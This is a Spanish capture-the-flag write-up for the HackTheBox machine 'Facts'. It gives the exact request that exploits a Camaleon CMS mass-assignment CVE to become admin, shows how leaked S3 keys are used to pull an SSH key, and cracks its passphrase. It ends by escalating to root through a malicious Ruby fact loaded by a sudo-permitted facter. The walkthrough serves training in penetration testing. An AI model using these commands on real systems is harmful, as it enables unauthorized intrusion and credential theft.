Facts es una máquina Linux de dificultad fácil de la temporada 10 de HackTheBox. No tiene nada rebuscado, pero encadena cuatro cosas que vale la pena tener frescas: un mass assignment en un CMS Ruby, un bucket S3 interno con credenciales filtradas, el crackeo de la passphrase de una clave SSH y un binario tonto corriendo como root. Vamos por partes.
Reconocimiento
Lo de siempre, un escaneo completo de puertos y luego versiones sobre los que estén abiertos:
nmap -p- --min-rate 5000 10.129.12.207
nmap -sC -sV -p22,80 -oA facts 10.129.12.207
Solo dos puertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 22 | SSH | OpenSSH 9.9p1 (Ubuntu) |
| 80 | HTTP | nginx 1.26.3 |
El 80 redirige a facts.htb, así que lo metemos en /etc/hosts:
echo "10.129.12.207 facts.htb" | sudo tee -a /etc/hosts
El CMS
La web es un Camaleon CMS 2.9.0, un CMS escrito en Ruby on Rails. El dato de la versión es lo importante aquí: 2.9.0 arrastra el CVE-2025-2304, un mass assignment en el endpoint que usa el panel para actualizar usuarios por AJAX.
Lo bonito es que el registro está abierto. Te das de alta en /admin/register con cualquier cosa:
usuario: dark
password: admin123
email: a@a.com
Entras al panel, pero como usuario raso no ves gran cosa. Ahí es donde entra el bug.
CVE-2025-2304: de usuario a admin
El método updated_ajax del controlador de usuarios llama a params.permit! sin filtrar, es decir, acepta cualquier parámetro que le mandes y lo asigna al modelo. El panel lo usa para cambiarte la contraseña, pero si en esa misma petición cuelas user[role]=admin, Rails te lo asigna sin rechistar.
Con Burp interceptas el cambio de contraseña de tu propio usuario (algo tipo POST /admin/users/5/updated_ajax) y añades el parámetro del rol:
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Type: application/x-www-form-urlencoded
user[password]=admin123&user[password_confirmation]=admin123&user[role]=admin
Forward, recargas el panel y ahora eres administrador. Si prefieres no pelearte con Burp, hay PoC públicas del CVE que automatizan el registro + la escalada en una línea.
Credenciales de S3 en el panel
Ya como admin aparecen las opciones de configuración del sitio, y entre ellas la integración de almacenamiento. Camaleon soporta backends tipo S3 y aquí hay uno interno configurado, con su Access Key y Secret Key a la vista. Las copiamos.
El servicio S3 (un MinIO) escucha en el puerto 54321 del propio host. Configuramos el cliente de AWS con las claves robadas:
aws configure
# Access Key ID y Secret Access Key del panel, región cualquiera
Y listamos. Lo único raro es que hay que apuntar al endpoint a mano porque no es AWS real:
aws --endpoint-url http://facts.htb:54321 s3 ls
# internal
# randomfacts1
El bucket internal es el que interesa:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519
Si el
awsse queja de que la firma no es válida, suele ser que tu reloj está desincronizado con la máquina. Unsudo ntpdate -s time.google.comlo arregla.
Crackear la passphrase
La clave id_ed25519 está cifrada con passphrase, así que no entra directa. La pasamos a un formato que entienda John y tiramos de rockyou:
ssh2john id_ed25519 > id_ed25519.hash
john id_ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt
Sale en segundos: la passphrase es dragonballz. Ajustamos permisos y entramos como el usuario trivia:
chmod 600 id_ed25519
ssh -i id_ed25519 trivia@facts.htb
Y ya tenemos la user.txt.
Root: facter como un fact malicioso
Lo primero al aterrizar, mirar qué podemos hacer con sudo:
sudo -l
# (ALL) NOPASSWD: /usr/bin/facter
Facter es la herramienta de Puppet que recolecta datos del sistema (“facts”). Lo interesante es que soporta custom facts escritos en Ruby, y si le indicas un directorio con --custom-dir, cargará y ejecutará el .rb que haya dentro. Como lo corremos con sudo, ese Ruby se ejecuta como root.
Creamos un fact que lance una shell y se lo damos a facter:
echo 'exec "/bin/bash"' > /home/trivia/root.rb
sudo /usr/bin/facter --custom-dir /home/trivia/ root
Shell de root y la root.txt es nuestra.
Lo que me llevo
Ninguno de los pasos es difícil por separado, pero Facts es un buen recordatorio de un par de cosas que se repiten en entornos reales: un CMS desactualizado con un CVE conocido abre la puerta, y las credenciales casi nunca están donde “deberían” sino en paneles de configuración y buckets internos que nadie cierra. Y lo de siempre con la escalada: antes de buscar exploits raros, sudo -l y preguntarse qué puede hacer de más un binario que confía en archivos que tú controlas.